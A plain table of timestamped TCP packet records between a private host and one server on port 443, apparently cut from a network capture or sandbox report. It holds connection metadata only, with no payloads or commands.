Oct 30, 2024 20:14:41.629224062 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.629229069 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.758912086 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.758991003 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.759041071 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.759073019 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.759113073 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.759257078 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.759268045 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.759275913 CET	49963	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.759279966 CET	443	49963	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.761013985 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.761027098 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.761096001 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.761203051 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.761209011 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.792401075 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.792711973 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.792732954 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.793106079 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.793113947 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.926726103 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.927144051 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.927212000 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.927246094 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.927267075 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.927284002 CET	49964	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.927292109 CET	443	49964	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.929822922 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.929863930 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:41.929929018 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.930071115 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:41.930083036 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.340533972 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.340970993 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.340987921 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.341391087 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.341397047 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.362936974 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.363253117 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.363271952 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.363624096 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.363630056 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.471910954 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.471968889 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.472024918 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.477032900 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.477050066 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.477082014 CET	49965	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.477087975 CET	443	49965	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.499156952 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.499201059 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.499254942 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.499269962 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.499308109 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.499785900 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.537990093 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.538012981 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.538028955 CET	49966	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.538036108 CET	443	49966	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.539325953 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.539341927 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.539727926 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.539732933 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.541259050 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.541301012 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.541368008 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.542045116 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.542098999 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.542164087 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.542282104 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.542296886 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.542298079 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.542308092 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.665424109 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.666502953 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.666516066 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.667643070 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.669985056 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.670042992 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.670181990 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.670186043 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.673666954 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.673677921 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.673686981 CET	49967	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.673696995 CET	443	49967	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.771126032 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.771157026 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.771219015 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.771337032 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.771346092 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.798779011 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.798837900 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.798983097 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.799021959 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.799038887 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.799051046 CET	49968	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.799056053 CET	443	49968	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.811084986 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.811126947 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:42.811214924 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.811330080 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:42.811342955 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.269675970 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.270518064 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.270533085 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.271141052 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.271145105 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.312578917 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.312994003 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.313026905 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.313512087 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.313525915 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.407942057 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.408011913 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.408063889 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.408216953 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.408232927 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.408242941 CET	49970	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.408247948 CET	443	49970	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.410742044 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.410777092 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.410845041 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.410972118 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.410984993 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.453294992 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.453336954 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.453389883 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.453407049 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.453447104 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.453607082 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.453628063 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.453641891 CET	49969	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.453649044 CET	443	49969	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.456139088 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.456173897 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.456243038 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.456377029 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.456392050 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.532200098 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.532603979 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.532625914 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.533035040 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.533041000 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.543781042 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.544069052 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.544084072 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.544459105 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.544464111 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.671026945 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.671066046 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.671123981 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.671123028 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.671283960 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.671339989 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.671356916 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.671365976 CET	49971	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.671371937 CET	443	49971	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.673770905 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.673801899 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.673880100 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.674015045 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.674025059 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.679493904 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.679544926 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.679594040 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.679722071 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.679737091 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.679745913 CET	49972	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.679752111 CET	443	49972	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.681612015 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.681715012 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:43.681796074 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.681906939 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:43.681945086 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.147156000 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.147625923 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.147655964 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.148051023 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.148058891 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.226892948 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.230521917 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.230545998 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.231050014 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.231055021 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.277712107 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.277874947 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.277939081 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.278114080 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.278136969 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.278147936 CET	49973	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.278152943 CET	443	49973	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.280883074 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.280976057 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.281068087 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.281250954 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.281287909 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.356267929 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.356364965 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.356436968 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.356544971 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.356561899 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.356573105 CET	49974	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.356580973 CET	443	49974	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.358844042 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.358927965 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.359179974 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.359179974 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.359281063 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.421905041 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.422251940 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.422278881 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.422672033 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.422683954 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.458823919 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.459224939 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.459253073 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.459604025 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.459609985 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.554656982 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.554727077 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.554802895 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.559425116 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.559458017 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.559484959 CET	49976	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.559501886 CET	443	49976	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.561970949 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.562042952 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.562182903 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.562452078 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.562483072 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.607140064 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.607194901 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.607238054 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.607251883 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.607300043 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.607448101 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.607471943 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.607486010 CET	49975	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.607491016 CET	443	49975	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.609468937 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.609520912 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:44.609606028 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.609726906 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:44.609740019 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.025290012 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.025963068 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.026027918 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.026313066 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.026329041 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.104862928 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.105315924 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.105367899 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.105638027 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.105650902 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.156157970 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.156301975 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.156418085 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.156461954 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.156491041 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.156524897 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.156548977 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.156574011 CET	49977	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.156580925 CET	443	49977	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.159024954 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.159060955 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.159135103 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.159288883 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.159302950 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.237298012 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.237365007 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.237426043 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.237570047 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.237570047 CET	49978	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.237627029 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.237652063 CET	443	49978	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.240241051 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.240277052 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.240343094 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.240442038 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.240451097 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.293493986 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.297610044 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.297647953 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.298171043 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.298185110 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.354099035 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.354515076 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.354537964 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.354933023 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.354939938 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.427797079 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.427824974 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.427875042 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.427922964 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.427990913 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.428173065 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.428173065 CET	49979	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.428251982 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.428282022 CET	443	49979	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.430811882 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.430834055 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.430917025 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.431066990 CET	49983	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.431078911 CET	443	49983	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.486474991 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.486543894 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.486593008 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.486696005 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.486710072 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.486720085 CET	49980	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.486725092 CET	443	49980	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.488840103 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.488851070 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.488949060 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.489073992 CET	49984	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.489084959 CET	443	49984	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.909301043 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.909815073 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.909836054 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.910250902 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.910257101 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.973872900 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.974499941 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.974514961 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:45.974936008 CET	49982	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:45.974941015 CET	443	49982	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.048796892 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.048933983 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.049021006 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.049246073 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.049258947 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.049268961 CET	49981	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.049273968 CET	443	49981	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.052171946 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.052221060 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.052303076 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.052479029 CET	49985	443	192.168.2.4	13.107.246.45
Oct 30, 2024 20:14:46.052494049 CET	443	49985	13.107.246.45	192.168.2.4
Oct 30, 2024 20:14:46.105185986 CET	443	49982	13.107.246.45	192.168.2.4
